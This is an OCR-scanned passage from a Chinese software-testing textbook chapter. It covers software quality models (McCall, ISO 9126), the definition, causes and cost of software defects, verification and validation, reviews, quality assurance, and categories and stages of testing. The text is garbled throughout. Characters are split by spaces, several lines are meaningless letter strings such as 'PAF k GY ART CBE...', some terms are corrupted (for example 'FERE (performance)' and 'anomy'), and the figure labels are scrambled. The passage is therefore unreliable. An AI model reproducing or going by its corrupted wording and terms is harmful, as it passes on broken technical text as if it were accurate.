使 用 的 流程 ,以 确保 由 此 流程 生产 的 产品 已 达到 预期 的 ,稳定 的 质量 水 平 。 
软件 质量 与 传统 意义 上 的 质量 概念 并 无 本 质 差别 ,只 是 软件 质量 拥有 一 些 自身 的 特性 ， 
这 也 是 由 软件 的 特点 所 决定 的 。 例 如 ,Barry Boehm 从 计算 机 软件 角度 看 ,认为 软件 质量 是 
“达到 高 水 平 的 用 户 满意 度 、 接 口 性 .维护 性 .强壮 性 和 适用 性 ?的 体现 。1983 年 , ANSI/ 
IEEE STD729 给 出 了 软件 质量 定义 : 软件 产品 满足 规定 的 和 隐 含 的 与 需求 能 力 有 关 的 全 
部 特征 和 特性 。 它 包括 : 
(1) 软件 产品 质量 满足 用 户 要 求 的 程度 ; 
(2) 软件 各 种 属性 的 组 合 程度 ; 
(3) 用 户 对 软件 产品 的 综合 反映 程度 ; 
(4) 软件 在 使 用 过 程 中 满足 用 户 要 求 的 程度 。 
这 些 特性 反映 在 人 们 日 常 所 说 的 软件 系统 的 易 用 性 、 功 能 性 有效 性 、 可 靠 性 和 性 能 等 
方面 。 如 RUP 将 软件 产品 质量 定义 为 三 个 维度 的 质量 ,其 中 功能 和 性 能 是 大 家 非常 熟悉 
的 质量 特性 ,可 靠 性 也 不 陌生 ,和 稳定 性 比较 接近 , 即 : 
。 功能 : 按照 既定 意图 和 要 求 , 执 行 指定 用 例 的 能 力 。 
。 性能: 系统 的 资源 利用 率 和 操作 特征 。 资 源 利用 率 包括 CPU、 内 存 等 所 占有 的 程 
度 。 性 能 的 操作 特征 包括 与 作业 负载 相关 的 特征 ,如 响应 时 间 、 操 作 可 靠 性 
(MT TP) ,以 及 与 操作 限制 相关 的 特征 ,如 负载 容量 或 强度 。 

。 可靠 性 : 软件 坚固 性 和 可 靠 性 ( 防 故 障 能 力 , 如 防止 崩溃 内存 丢 失 等 能 力 ) 代码 完 
整 性 以 及 技术 兼容 性 等 。 


如 果 进一步 展开 这 三 维 质 量 特性 ,人 们 可 以 分 析 更 多 的 、 特 定 的 产品 质量 属性 。 正 如 
McCall 模型 所 描述 的 ,如 图 2-2 所 示 。 
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图 2-2 McCall 质量 模型 的 示意 图 


除了 McCall 模型 ,还 有 其 他 产品 质量 模型 ,如 Boehm 模型 .ISO 9126 模型 。 如 图 2-3 
所 示 的 ISO 9126 三 层 质量 模型 ,被 国内 和 国际 标准 采用 。 

。 高 层 : 软件 质量 需求 评价 准则 (Software Quality Requirement Code,SQRC); 

© 中 层 : 软件 质量 设计 评价 准则 (Software Quality Design Code, SQDC) ; 

。 低层 : 软件 质量 度量 评价 准则 (Software Quality Measurement Code,SQMC ) 。 

根据 这 些 质量 模型 ,软件 产品 质量 可 以 归纳 为 以 下 属性 。 
功能 性 (functionality): 软件 所 实现 的 功能 达到 它 的 设计 规范 和 满足 用 户 需 求 的 
程度 。 
可 用 性 Cusability): 对 于 一 个 软件 ,用户 学 习 、 操 作 、 准 备 输入 和 理解 输出 所 做 努力 
的 程度 ,如 安装 简单 方便 、 容 易 使 用 .界面 友好 ,并 能 适用 于 不 同 特点 的 用 户 ,包括 对 
残疾 人 有 缺陷 的 人 能 提供 产品 使 用 的 有 效 途径 或 手段 。 
可 靠 性 Creliability) : 在 规定 的 时 间 和 条 件 下 ,软件 所 能 维持 其 正常 的 功能 操作 、 性 
能 水 平 的 程度 。 
FERE (performance) : 在 指定 条 件 下 ,软件 对 操作 的 响应 速度 以 及 实现 某 种 功能 所 需 
的 计算 机 资源 (包括 内 存 大 小 .CPU 占用 时 间 等 ) 的 有 效 程度 。 
容量 (capacity) : 系统 的 接受 力 、 容 纳 或 吸收 的 能 力 , 或 某 项 功能 的 最 大 数据 量 或 最 
大 限度 ,有 了 时 需要 确定 系统 特定 的 需求 所 能 容纳 的 最 大 量 、 所 能 表现 的 最 大 值 。 如 
Web 系统 能 承受 多 少 并 发 用 户 同时 访问 ,网 络 会 议 系统 可 以 承受 的 与 会 人 数 等 。 
可 测量 性 (scalability) : 系统 某 些 特 性 可 以 通过 一 些 量 化 的 数据 指标 描述 其 当前 状 
态 或 设 定 状态 。 
可 维护 性 (manageability) : 当 一 个 软件 投入 运行 应 用 后 ,需求 发 生变 化 、 环 境 改 变 或 
软件 发 生 错误 时 ,进行 相应 修改 所 做 努力 的 程度 。 


功能 性 So 
可 靠 性 E 
= ` 容错 能 力 
可 恢复 性 
可 用 性 可 理解 性 ji 
自 
` 可 学 习性 定 
一 SE 
可 操作 性 
效率 时 间 表 现 Es 
a 资源 表现 j 
可 移植 性 可 分 析 性 
N pe 可 变化 性 
稳定 性 
可 测试 性 
可 维护 性 适应 性 
易 安 装 性 
- 致 性 
可 替换 性 
SQRC SQDC SQMC 


图 2-3 ISO 9126 软件 质量 三 层 模型 


"兼容 性 (compatibility): 软件 从 一 个 计算 机 系统 或 环境 移植 到 另 一 个 系统 或 环境 的 
难 易 程度 ,或 者 是 一 个 系统 和 外 部 条 件 共 同 工 作 的 容易 程度 。 兼 容 性 表现 在 多 个 方 
面 , 如 系统 的 软件 和 硬件 的 兼容 性 、 不 同 版 本 的 软件 系统 和 数据 的 兼容 性 。 

。 可 扩展 性 (extensibility): 指 将 来 增加 新 功能 、 扩 充 系统 能 力 的 难 易 程度 。 


2.1.2 软件 缺陷 的 定义 


对 于 软件 存在 的 各 种 问题 ,中文 常用 “软件 缺陷 ”这 个 词 ,在 英文 中 人 们 喜欢 用 一 个 形象 
的 词 *bug( 自 虫 )” 来 代替 “defect( 缺 陷 )” 一 词 。 实 际 上 ,与 “缺陷 (bug)” 相 近 的 词 还 有 很 多 ， 
例如 : 


Bik fault) Mii 22 (variance) 
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错误 (error) Ý JA Cinconsistency) 


异常 (anomy) 毛病 (incident) 


PAF k GY ART CBE IZ LET A Md DEB ea ER LA SR NE EE A 
失败 (failure) 和 不 符合 设计 要 求 、 客 户 的 实际 需求 , 即 与 需求 相 了 矛盾 (inconsistency)。 所 以 ， 
软件 缺陷 (Bug) 是 指 计算 机 系统 或 者 程序 中 存在 的 任何 一 种 破坏 正常 运行 能 力 的 问题 、 错 
误 , 或 者 隐藏 的 功能 缺陷 、 瑕 羔 , 其 结果 会 导致 软件 产品 在 某 种 程度 上 不 能 满足 用 户 的 需要 。 
在 IEEE Standard 729(1983) 中 对 软件 缺陷 给 出 了 一 个 标准 的 定义 。 

。 从 产品 内 部 看 ,软件 缺陷 是 软件 产品 开发 或 维护 过 程 中 所 存在 的 错误 毛病 等 各 种 

间 题 。 

。 从 外 部 看 ,软件 缺陷 是 系统 所 需要 实现 的 某 种 功能 的 失效 或 违背 。 

软件 缺陷 就 是 软件 产品 中 所 存在 的 问题 ,最 终 表现 为 用 户 所 需要 的 功能 没有 完全 实现 ， 
没有 满足 用 户 的 需求 。 而 软件 缺陷 表现 的 形式 是 各 种 各 样 的 ,不 仅仅 体现 在 功能 的 失效 方 
面 ,还 体现 在 其 他 方面 ,例如 : 

。 运行 出 错 ,包括 运行 中 断 、 系 统 崩 溃 、 界 面 混乱 。 

。 数据 计算 错误 ,导致 结果 不 正确 。 
功能 ,特性 没有 实现 或 部 分 实现 。 

。 在 某 种 特定 条 件 下 没 能 给 出 正确 或 准确 的 结果 。 

。 计算 的 结果 没有 满足 所 需要 的 精度 。 

。 用 户 界面 不 美观 ,如 文字 显示 不 对 齐 .字体 大 小 不 一 致 等 。 

。 需求 规格 说 明 书 (requirement specification 或 functional specification) 的 问题 ,如 漏 
掉 某 个 需求 表达 不 清楚 或 前 后 矛盾 等 。 

。 设计 不 合理 ,存在 缺陷 。 例 如 计算 机 游戏 只 能 用 键盘 玩 而 不 能 用 鼠标 玩 。 

。 实际 结果 和 预期 结果 不 一 致 。 

。 用 户 不 能 接受 的 其 他 问题 ,如 存 取 时 间 过 长 .操作 不 方便 等 。 


2.1.3 软件 缺陷 的 产生 


如 前 所 述 , 由 于 软件 系统 越 来 越 复杂 ,不管 是 需求 分 析 、 程 序 设 计 等 都 面临 越 来 越 大 的 
挑战 。 由 于 软件 开发 人 员 思 维 上 的 主观 局 限 性 , 且 目 前 开发 的 软件 系统 都 具有 相当 的 复杂 
性 ,决定 了 在 开发 过 程 中 出 现 软件 错误 是 不 可 避免 的 。 造 成 软件 缺陷 的 主要 原因 可 从 软件 
本 身 、 团 队 工 作 和 技术 问题 等 多 个 方面 来 查找 ,以 确定 造成 软件 缺陷 的 主要 因素 。 

1. 技术 问题 

。 开 发 人 员 技 术 的 限制 ,系统 设计 不 能 够 全 面 考虑 功能 \ 性 能 和 安全 性 的 平衡 。 

。 刚 开始 采用 新 技术 时 ,解决 和 处 理 问题 时 不 够 成 熟 。 

。 由 于 逮 辑 过 于 复杂 ,很 难 在 第 一 次 就 将 问题 全 部 处 理 好 。 

。 系统 结构 设计 不 合理 或 算法 不 科学 ,造成 系统 性 能 低下 。 

。 接口 参数 太 多 ,导致 参数 传递 不 匹配 。 

。 需求 规格 说 明 书 中 有 些 功能 在 技术 上 无 法 实现 。 

。 没 有 考虑 系统 崩溃 后 的 自我 恢复 或 数据 的 异地 备份 .灾难 性 恢复 等 需求 ,导致 系统 

存在 安全 性 、 可 靠 性 的 隐患 。 

。 一 般 情况 下 ,对 应 的 编程 语言 编译 器 可 以 发 现 这 类 问题 ; 对 于 解释 性 语言 ,只 能 在 

测试 运行 的 时 候 发 现 。 


2. 软件 本 身 

。 不 完善 的 软件 开发 标准 或 开发 流程 。 

。 文档 错误 .内容 不 正确 或 拼写 错误 。 

。 没有 考虑 大 量 数据 使 用 场合 ,从 而 可 能 引起 强度 或 负载 问题 。 

。 对 程序 逻辑 路 径 或 数据 范围 的 边界 考虑 不 够 周全 , 漏 掉 某 几 个 边界 条 件 造 成 的 
问题 。 

。 对 一 些 实时 应 用 系统 ,缺乏 整体 考虑 和 精心 设计 ,忽视 了 时 间 同 步 的 要 求 ,从 而 引起 
系统 各 单元 之 间 不 协调 不 一 致 性 的 问题 。 

。 与 硬件 .第 3 方 系统 软件 之 间 存 在 接口 或 依赖 性 。 

3. 团队 工作 


e 团队 文化 ,如 对 软件 质量 不 够 重视 。 

系统 分 析 时 对 客户 的 需求 不 是 十 分 清楚 ,或 者 和 用 户 的 沟通 存在 一 些 困难 ,从 而 造 
成 对 用 户 需求 的 误解 或 理解 不 够 全 面 。 

不 同 阶段 的 开发 人 员 相互 理解 不 一 致 ,软件 设计 对 需求 分 析 结 果 的 理解 偏差 ,编程 
人 员 对 系统 设计 规格 说 明 书 中 某 些 内 容重 视 不 够 ,或 存在 着 误解 。 

e 设计 或 编程 上 的 一 些 假定 或 依赖 性 ,没有 得 到 充分 的 沟通 。 


2.1.4 软件 缺陷 的 构成 


根据 上 面 讨论 ,可 以 知道 软件 缺陷 是 由 很 多 原因 造成 的 ,如 果 把 它们 按 需 求 分 析 结 
果 一 一 规格 说 明 书 ,系统 设计 结果 、 编 程 的 代码 等 归 类 起 来 ,比较 后 发 现 ,结果 规格 说 明 书 是 
软件 缺陷 出 现 最 多 的 地 方 , 如 图 2-4 所 示 。 

软件 产品 规格 说 明 书 为 什么 是 软件 缺陷 存在 最 其 他 
多 的 地 方 ,主要 原因 有 以 下 几 种 。 ka 
用 户 一 般 是 非 计算 机 专业 人 员 , 软 件 开发 人 15% 
员 和 用 户 的 沟通 存在 较 大 困难 ,对 要 开发 的 


产品 功能 理解 不 一 致 。 规格 说 明 书 
。 由 于 软件 产品 还 没有 设计 、 开 发 ,完全 靠 想 象 ate 
去 描述 系统 的 实现 结果 ,所 以 有 些 特性 还 不 ”设计 
够 清晰 。 25% 


需求 变化 的 不 一 致 性 。 用 户 的 需求 总 是 在 不 
断 变化 的 ,这 些 变化 如 果 没 有 在 产品 规格 说 
明 书 中 得 到 正确 的 描述 ,容易 引起 前 后 文 .上 下 文 的 矛盾 。 
对 规格 说 明 书 不 够 重视 ,在 规格 说 明 书 的 设计 和 写作 上 投入 的 人 力 、 时 间 不 足 。 
没有 在 整个 开发 队伍 中 进行 充分 沟通 ,有 时 只 有 设计 师 或 项 目 经 理 得 到 比较 多 的 
信息 。 

排 在 产品 规格 说 明 书 之 后 的 是 设计 ,编程 排 在 第 三 位 。 许 多 人 印象 中 ,软件 测试 主要 是 
找 程序 代码 中 的 错误 ,这 是 一 个 认识 的 误区 。 如 果 从 软件 开发 各 个 阶段 来 看 软件 缺陷 分 布 ， 
也 主要 集中 在 需求 分 析 、 系 统 设计 中 ,代码 的 错误 要 比 前 两 个 阶段 少 ,如 图 2-5 所 示 。 在 单 


图 2-4 软件 缺陷 构成 示意 图 


元 测试 测试 执行 阶段 引起 的 缺陷 主要 是 修正 原来 缺陷 而 引起 新 的 问题 ,这 就 是 常 说 的 , 回 
归 缺 陷 。 


prt | 


早期 缺陷 发 现 
(70% 一 90% 测 试 前 ) 


缺陷 数 


需求 设计 编码 单元 测试 Rh 
时 间 ”测试 


图 2-5 软件 缺陷 在 不 同 阶段 的 分 布 图 


2.1.5 修复 软件 缺陷 的 代价 


美国 商务 部 国家 标准 和 技术 研究 所 (NIST) 进 行 的 一 项 研究 表明 ,软件 缺陷 每 年 给 美国 
经 济 造 成 的 损失 高 达 几 百 亿 甚至 上 千 亿美 元 。 说 明 软 件 中 存在 的 缺陷 所 造成 的 损失 是 巨大 
的 。 即 使 在 软件 企业 内 部 ,软件 缺陷 同样 会 给 企业 带 来 很 大 的 成 本 , 即 软件 缺陷 产生 劣质 成 
本 。 根 据 统计 数据 ,多 数 软件 企业 的 这 种 劣质 成 本 高 达 40%% 一 50 儿 的 开发 总 成 本 。 

鉴于 这 样 高 的 劣质 成 本 ,必须 足够 地 重视 软件 缺陷 所 引起 的 代价 ,这 也 就 是 为 什么 讨论 
软件 测试 时 ,总 是 要 强调 ,希望 软件 测试 尽早 介入 项 目 ,问题 发 现 得 越 早 越 好 。 缺 陷 被 发 现 
之 后 ,要 尽快 修复 这 些 被 发 现 的 缺陷 。 为 什么 要 这 样 做 呢 ? 原因 很 简单 ,缺陷 发 现 或 解决 得 
越 迟 ,成 本 就 越 高 。 

由 于 人 的 认识 不 可 能 百分之百 地 符合 客观 实际 ,因此 生命 周期 每 个 阶段 的 工作 中 都 
可 能 发 生 错 误 。 并 不 只 是 在 编程 阶段 产生 错误 ,需求 和 设计 阶段 同样 会 产生 错误 。 由 于 
前 一 阶段 的 成 果 是 后 一 阶段 工作 的 基础 ,前 一 阶段 的 错误 自然 会 导致 后 一 阶段 的 工作 结 
果 中 有 相应 的 错误 ,而 且 错误 会 逐渐 累积 , 越 来 越 多 。 也 许 一 开始 ,只 是 一 个 很 小 范围 内 
的 潜在 错误 ,但 随 着 产品 开发 工作 的 进行 ,错误 不 断 传导 而 被 放大 ,小 错误 会 扩散 成 大 错 
误 。 越 到 后 期 ,修改 缺陷 所 付出 的 代价 越 大 。 例 如 ,需求 定义 中 存在 的 一 个 问题 ,没有 及 
时 发 现 ,等 设计 ,编程 工作 都 完成 之 后 才 被 发 现 , 这 时 就 不 得 不 修改 设计 修改 代 码 , 可 见 
返工 的 涉及 面 很 广 , 返 工 的 工作 量 也 很 大 。 如 果 问 题 到 了 发 布 之 后 被 发 现 ,损失 就 更 大 。 
总 之 ,错误 不 能 及 早 发 现 , 那 只 可 能 造成 越 来 越 严 重 的 后 果 。 若 能 及 早 排除 软件 开发 中 
的 错误 ,有 效 地 减少 后 期 工作 可 能 过 到 的 问题 ,就 可 以 尽 可 能 地 避免 付出 高 昂 的 代价 ,从 
而 大 大 提高 系统 开发 过 程 的 效率 。 前 期 的 缺陷 发 现 还 能 减少 缺陷 的 注入 量 , 从 根本 上 提 
高 产品 的 质量 。 

Boehm 在 Software Engineering Economics (1981) — B PS 4); 平均 而 言 , 如 果 在 需 
求 阶段 修正 一 个 错误 的 代价 是 1, 那 么 ,在 设计 阶段 就 是 它 的 3 一 6 倍 , 在 编程 阶段 是 它 的 
10 倍 , 在 内 部 测试 阶段 是 它 的 20 一 40 倍 ,在 外 部 测试 阶段 是 它 的 30 一 70 倍 , 而 到 了 产品 发 
布 出 去 时 ,这 个 数字 就 是 40 一 1000 倍 。 修 正 错误 的 代价 不 是 随时 间 线 性 增长 ,而 几乎 是 呈 
指数 增长 的 。 图 2-6 就 是 说 明 这 样 一 个 道理 。 
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图 2-6 软件 缺陷 随 着 时 间 的 推移 带 来 的 成 本 越 来 越 大 


2.2 验证 和 确认 


从 上 述 讨论 可 知 ,软件 缺陷 不 仅 存在 于 可 执行 的 程序 中 ,而 且 存在 于 需求 定义 和 设计 的 
文档 之 中 ,所 以 软件 测试 不 仅仅 是 “为 了 发 现 错误 而 执行 程序 的 过 程 ”而 且 还 包括 对 产品 规 
格 说 明 书 技术 设计 文档 等 的 测试 。 软 件 测试 贯穿 整个 软件 开发 过 程 ,是 软件 验证 和 用 户 需 
求 确认 的 统一 ,和 软件 评审 密 不 可 分 。 


2.2.1 验证 和 确认 


软件 测试 不 仅 要 检查 程序 是 否 出 错 , 程 序 是 否 和 软件 产品 的 设计 规格 说 明 书 一 致 ,而 且 
还 要 检验 所 实现 的 功能 是 否 就 是 客户 或 用 户 所 需要 的 功能 ,这 就 引出 了 软件 测试 中 有 名 的 
V&V。V&V, 即 英文 两 个 单词 Verification 和 Validation 的 第 一 个 字母 组 合 。 

1, 验证 

Verification ,一 般 书 上 将 它 翻 译 为 “验证 ”, 但 也 可 以 翻译 为 “检验 ”, 即 检验 软件 是 否 已 
正确 地 实现 了 产品 规格 说 明 书 所 定义 的 系统 功能 和 特性 。 验 证 过 程 提供 证 据 表 明 软 件 相关 
产品 与 所 有 生命 周期 活动 的 要 求 (如 正确 性 完整 性 一致 性 和 准确 性 等 ) 相 一 致 。 

验证 是 否 满足 生命 周期 过 程 中 的 标准 ,实践 和 约定 ,验证 为 判断 每 一 个 生命 周期 活动 是 
否 已 经 完成 ,以 及 是 否 可 以 启动 其 他 生命 周期 活动 建立 一 个 基准 。 

2. 有 效 性 确认 

Validation ,一 般 书 上 将 它 翻 译 为 “确认 ”, 但 更 准确 的 翻译 应 该 是 “有 效 性 确认 ”。 这 种 
有 效 性 确认 要 求 更 高 ,要 能 保证 所 生产 的 软件 可 追溯 到 用 户 需求 的 一 系列 活动 。 确 认 过 程 
提供 证 据 表 明 软 件 是 否 真正 满足 客户 的 需求 ,并 解决 了 软件 系统 所 要 处 理 的 业务 问题 。 

3. 两 者 的 区 别 

为 了 更 好 地 理解 这 两 个 单词 的 区 别 , 可 以 概括 地 说 ,验证 是 检验 开发 出 来 的 软件 产品 和 
设计 规格 说 明 书 的 一 致 性 , 即 是 否 满足 软件 厂商 的 生产 要 求 。 但 设计 规格 说 明 书 本 身 就 可 
能 存在 错误 ,所 以 即使 软件 产品 中 某 个 功能 实现 的 结果 和 设计 规格 说 明 书 完全 一 致 ,但 可 能 
并 不 是 用 户 所 需要 的 ,因为 设计 规格 说 明 书 很 可 能 一 开始 就 对 用 户 的 某 个 需求 理解 错 了 ,所 
以 仅仅 进行 验证 测试 还 是 不 充分 的 ,还 要 进行 确认 测试 。 确 认 就 是 检验 产品 功能 的 有 效 性 ， 
即 是 否 满足 用 户 的 真正 需求 。 所 以 ,Barry W. Boehm 给 出 了 V&V 最 著名 又 最 简单 的 解释 。 
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e Verification; Are we building the product right? 是 否 正确 地 构造 了 软件 ? 即 是 否 
正确 地 做 事 ,验证 开发 过 程 是 否 遵守 已 定义 好 的 内 容 。 

e Validation; Are we building the right product? 是 否 构造 了 正确 的 软件 ?” 即 是 否 做 
正确 的 事 或 正在 构建 用 户 所 需要 的 功能 。 


2.2.2 评审 


软件 评审 的 重要 目的 就 是 通过 软件 评审 尽早 地 发 现 产品 中 的 缺陷 ,因此 软件 评审 可 以 
看 作 软 件 测试 的 有 机 组 成 部 分 ,两 者 之 间 有 着 密 不 可 分 的 关系 。 通 过 软件 评审 ,可 以 更 早 地 
发 现 需求 工程 ,软件 设计 等 各 个 方面 的 问题 ,大 大 减少 大 量 的 后 期 返工 ,将 质量 成 本 从 昂贵 
的 后 期 返工 转化 为 前 期 的 缺陷 发 现 。 通 过 评审 ,还 可 以 将 问题 记录 下 来 ,使 其 具有 可 追溯 
性 , 找 出 问题 产生 的 根本 原因 ,在 将 来 的 项 目 开 发 中 进一步 减少 缺陷 ,有 利于 软件 质量 的 
提高 。 
那 什么 是 软件 评审 呢 ? 根据 IEEE Std 1028 一 1988 的 定义 : 评审 是 对 软件 元 素 或 者 项 
目 状态 的 一 种 评估 手段 ,以 确定 其 是 否 与 计划 的 结果 保持 一 致 ,并 使 其 得 到 改进 。 检 验 工作 
产品 是 否 正确 地 满足 了 以 往 工作 产品 中 建立 的 规范 ,如 需求 或 设计 文档 是 否 符合 所 定义 的 
模板 要 求 , 各 项 内 容 是 否 清楚 一致。 软件 评审 的 对 象 有 很 多 种 ,主要 分 为 管理 评审 、 技 术 评 
审 .文档 评审 和 流程 评审 。 对 于 软件 测试 ,应 该 包含 了 技术 评审 和 文档 评审 ,而 管理 评审 和 
流程 评审 则 属于 软件 质量 保证 的 组 织 和 过 程 管理 的 活动 内 容 。 
技术 评审 是 对 产品 以 及 各 阶段 的 输出 内 容 进行 评估 ,其 主要 目的 是 揭示 软件 在 逻辑 、 执 
行 以 及 功能 和 函数 上 的 错误 ,以 验证 软件 是 否 符合 需求 ,确保 需求 说 明 、 设 计 说 明 等 符合 系 
统 的 要 求 。 技 术 评 审 后 需要 以 书面 的 形式 对 评审 结果 进行 总 结 。 
。 技术 评审 会 分 为 正式 和 非 正式 两 种 ,通常 有 技术 负责 人 (技术 骨干 ) 制 定 详细 的 评审 
计划 ,包括 评审 时 间 、 地 点 以 及 定义 所 需 的 输入 文件 。 
。 在 评审 过 程 中 ,评审 小 组 会 按照 评审 检查 单 对 需要 评审 的 内 容 进行 逐 项 检查 ,确定 
每 项 的 状态 ,检查 项 状态 可 以 被 标记 为 合格 .不 合格 .待定 ,不 适用 等 。 
。 评审 结束 后 ,评审 小 组 需要 列 出 存在 的 问题 ,建议 措施 ,责任 人 等 ,并 完成 最 终 的 4 技 
术 评 审 报告 )。 
文档 评审 往往 分 为 格式 评审 和 内 容 评审 。 所 谓 的 格式 评审 ,是 检查 文档 格式 是 否 满足 
标准 ,而 内 容 评审 则 是 从 一 致 性 .可 测试 性 等 方面 进行 检查 。 文 档 评审 ,往往 要 完成 (产品 / 
市 场 需求 说 明 书 》《 功 能 说 明 书 》《 系 统 架 构 设 计 说 明 书 》《 详 细 设 计 说 明 书 》《 测 试 计划 》 
和 《测试 用 例 ) 等 的 评审 。 评 审 过 程 中 要 把 握 正 确 性 ,完整 性 一致 性 有 效 性 、 易 测 性 、 易 理 
解 性 等 。 


2.2.3 质量 保证 和 测试 的 关系 


任何 形式 的 产品 都 是 过 程 执行 得 到 的 结果 ,因此 对 过 程 进行 管理 与 控制 是 提高 产品 质 
量 的 一 个 重要 途径 。 软 件 质量 保证 (Software Quality Assurance,SQA) 活 动 是 通过 对 软件 
产品 有 计划 地 进行 评审 和 审计 来 验证 软件 是 否 合乎 标准 的 系统 工程 ,通过 协调 、 审 查 和 跟踪 
以 获取 有 用 信息 ,形成 分 析 结果 以 指导 软件 过 程 。 

。 确保 SQA 活动 要 自始至终 有 计划 地 进行 。 


。 与 软件 项 目 其 他 工作 组 一 起 工作 ,制定 计划 、 标 准 和 规程 等 ,而 且 确保 它们 满足 项 目 
和 组 织 方针 上 的 要 求 。 

。 对 软件 工程 各 个 阶段 的 进展 、 完 成 质量 及 出 现 的 问题 进行 评审 、 跟 踪 。 
如 果 发 现 不 符合 的 地 方 , 逐 级 解决 不 符合 问题 。 
。 审查 和 验证 软件 产品 是 否 遵守 适用 的 标准 、 规 程 和 要 求 ,并 最 终 确 保 符 合 标准 、 满 足 
建立 软件 质量 要 素 的 度量 机 制 ,了 解 各 种 指标 的 量化 信息 ,向 管理 者 提供 可 视 信息 。 

© SQA 和 结果 要 保证 全 员 参 与 ,沟通 顺畅 。 

SQA 部 门 在 新 项 目的 需求 分 析 阶 段 就 开始 介入 ,对 形成 的 软件 需求 进行 分 析 与 评价 ， 
并 提出 可 能 存在 的 问题 ,诸如 安全 性 、 可 靠 性 、 可 扩展 性 、 易 用 性 等 ,并 根据 软件 本 身 特性 、 规 
模 及 将 来 的 运行 环境 等 进行 综合 评定 ,确定 软件 要 满足 的 质量 要 求 ,记录 下 来 形成 正式 文 
档 , 尽 可 能 对 软件 周期 各 个 阶段 的 测量 确定 一 个 定量 或 定性 的 标准 ,作为 以 后 各 阶段 评审 的 
标准 和 依据 。 

从 这 里 可 以 看 出 ,SQA 与 软件 测试 之 间 相辅相成 ,存在 包含 和 交叉 的 关系 。SQA 指 
导 、 监 督 软 件 测试 的 计划 和 执行 ,督促 测试 工作 的 结果 客观 准确 和 有 效 ,并 协助 测试 流程 的 
改进 。 而 软件 测试 是 SQA 重要 手段 之 一 ,为 SQA 提供 所 需 的 数据 ,作为 质量 评价 的 客观 
依据 。 它 们 的 相同 点 在 于 二 者 都 是 贯穿 整个 软件 开发 生命 周期 的 流程 。 它 们 的 不 同 之 处 在 
于 SQA 是 一 项 管理 工作 ,侧重 于 对 流程 的 评审 和 监控 ,而 测试 是 一 项 技术 性 的 工作 ,侧重 
对 产品 的 评估 和 验证 。 


2.3 软件 测试 的 分 类 


分 类 取决 于 分 类 的 方法 和 坐标 ,对 于 软件 测试 ,可 以 从 不 同 的 角度 加 以 分 类 。 软 件 测试 
可 以 根据 测试 的 方法 进行 分 类 ,也 可 以 根据 测试 的 对 象 测 试 的 目标 和 测试 的 阶段 进行 分 
类 ,如 图 2-7 所 示 。 通 过 分 类 ,使 大 家 了 解 软 件 测试 的 全 貌 ,对 软件 测试 有 一 个 完整 的 认识 。 


对 象 或 阶段 | 需求 审查 

设计 审查 

单元 测试 

集成 测试 

系统 测试 

验收 测试 
Ag ka Ea 
测试 ”测试 ”测试 
方法 ”方法 方法 


= 方法 


图 2-7 软件 测试 的 三 维 空间 


2. 


. 按 测 试 的 对 象 或 范围 (单元 /组 件 、 文 档 、 子 系统 、 系 统 等 ) 分 类 


单元 测试 (unit testing) ,包括 组 件 测试 (component testing) ,模块 测试 (module 
testing) 等 。 

程序 测试 (program testing) 。 

系统 测试 (system testing). 

XFM (documentation testing) 。 

Web 应 用 测试 、 客 户 端 测试 。 

数据 库 测试 .服务器 测试 。 


按 测 试 目的 分 类 


可 以 分 为 集成 测试 .功能 测试 .回归 测试 ,性 能 测试 .可 靠 性 测试 .安全 性 测试 和 兼容 性 
测试 等 。 


集成 测试 (integration testing): 完成 系统 内 单元 之 间接 口 和 单元 集成 为 一 个 完整 系 
统 的 测试 。 

功能 测试 (functionality testing) ,也 称 正 确 性 测试 (correctness testing): 验证 每 个 
功能 是 否 按照 事先 定义 的 要 求 那样 正常 工作 。 

压力 测试 (stress testing) ,也 称 负载 测试 (load testing): 用 来 检查 系统 在 不 同 负载 (如 数 
据 量 .并 发 用 户 .连接 数 等 ) 条 件 下 的 系统 运行 情况 ,特别 是 高 负载 .极限 负载 下 的 系统 
运行 情况 ,以 发 现 系统 不 稳定 .系统 性 能 瓶颈 ,内存 泄漏 .CPU 使 用 率 过 高 等 问题 。 

性 能 测试 (performance testing): 测定 系统 在 不 同 负载 条 件 下 的 系统 具体 的 性 能 
指标 。 

可 靠 性 测试 (reliability testing): 检验 系统 是 否 能 保持 长 期 稳定 .正常 的 运行 ,如 确 
定 正 常 运行 时 间 , 即 平均 失效 时 间 (Mean Time Between Failures,MTBF)。 可 靠 性 
测试 包括 强壮 性 测试 (robustness testing) 和 异常 处 理 测 试 (exception handling 
testing). 

灾难 恢复 性 测试 (recovery testing): 在 系统 崩溃 、 硬 件 故障 或 其 他 灾难 发 生 之 后 , 重 
新 恢复 系统 和 数据 的 能 力 测试 。 

安全 性 测试 (security testing) : 测试 系统 在 应 对 非 授 权 的 内 部 /外 部 访问 .故意 损坏 
时 的 系统 防护 能 力 。 

兼容 性 测试 (compatibility testing): 测试 在 系统 不 同 运 行 环境 (网 络 .硬件 .第 三 方 
软件 等 ) 环 境 下 的 实际 表现 。 

回归 测试 (regression testing): 为 保证 软件 中 新 的 变化 (新 增加 的 代码 、 代 码 修 改 
等 ) 不 会 对 原 有 功能 的 正常 使 用 有 影响 而 进行 的 测试 。 也 就 是 说 ,满足 用 户 需 求 的 
原 有 功能 不 应 该 因为 代码 变化 而 出 现任 何 新 的 问题 。 

验收 测试 (acceptance testing, beta test): 验证 是 否 是 用 户 真 正 所 需要 的 产品 特性 。 

安装 测试 (installation testing) : 验证 系统 是 否 能 按照 安装 说 明 书 成 功 地 完成 系统 
的 安装 。 


.其 他 分 类 


根据 测试 过 程 中 被 测 软件 是 否 被 执行 ,软件 测试 可 被 分 为 静态 测试 和 动态 测试 , 动 


态 测试 是 在 系统 运行 时 进行 测试 。 

© 根据 是 否 针对 系统 的 内 部 结构 和 具体 实现 算法 来 完成 测试 ,软件 测试 可 分 为 白 盒 测 
XC white-box) PHRAMH (black-box) , 白 盒 测试 是 需要 了 解 系统 的 内 部 结构 和 具 
体 实现 来 完成 测试 。 


2.4 测试 阶段 


软件 测试 贯穿 软件 产品 开发 的 整个 生命 周期 一 一 软件 项 目 一 开始 ,软件 测试 也 就 开始 
了 ,从 产品 的 需求 分 析 审查 到 最 后 的 验收 测试 .安装 测试 结束 。 整 个 过 程 包括 规格 说 明 书 审 
查 . 系 统 和 程序 设计 审查 .单元 测试 .集成 测试 (组 装 测试 ) .功能 测试 .系统 测试 .安装 测试 和 
验收 测试 8 个 阶段 ,如 图 2-8 所 示 。 这 里 描述 的 测试 过 程 是 一 个 完整 的 过 程 , 对 于 不 同 的 软 
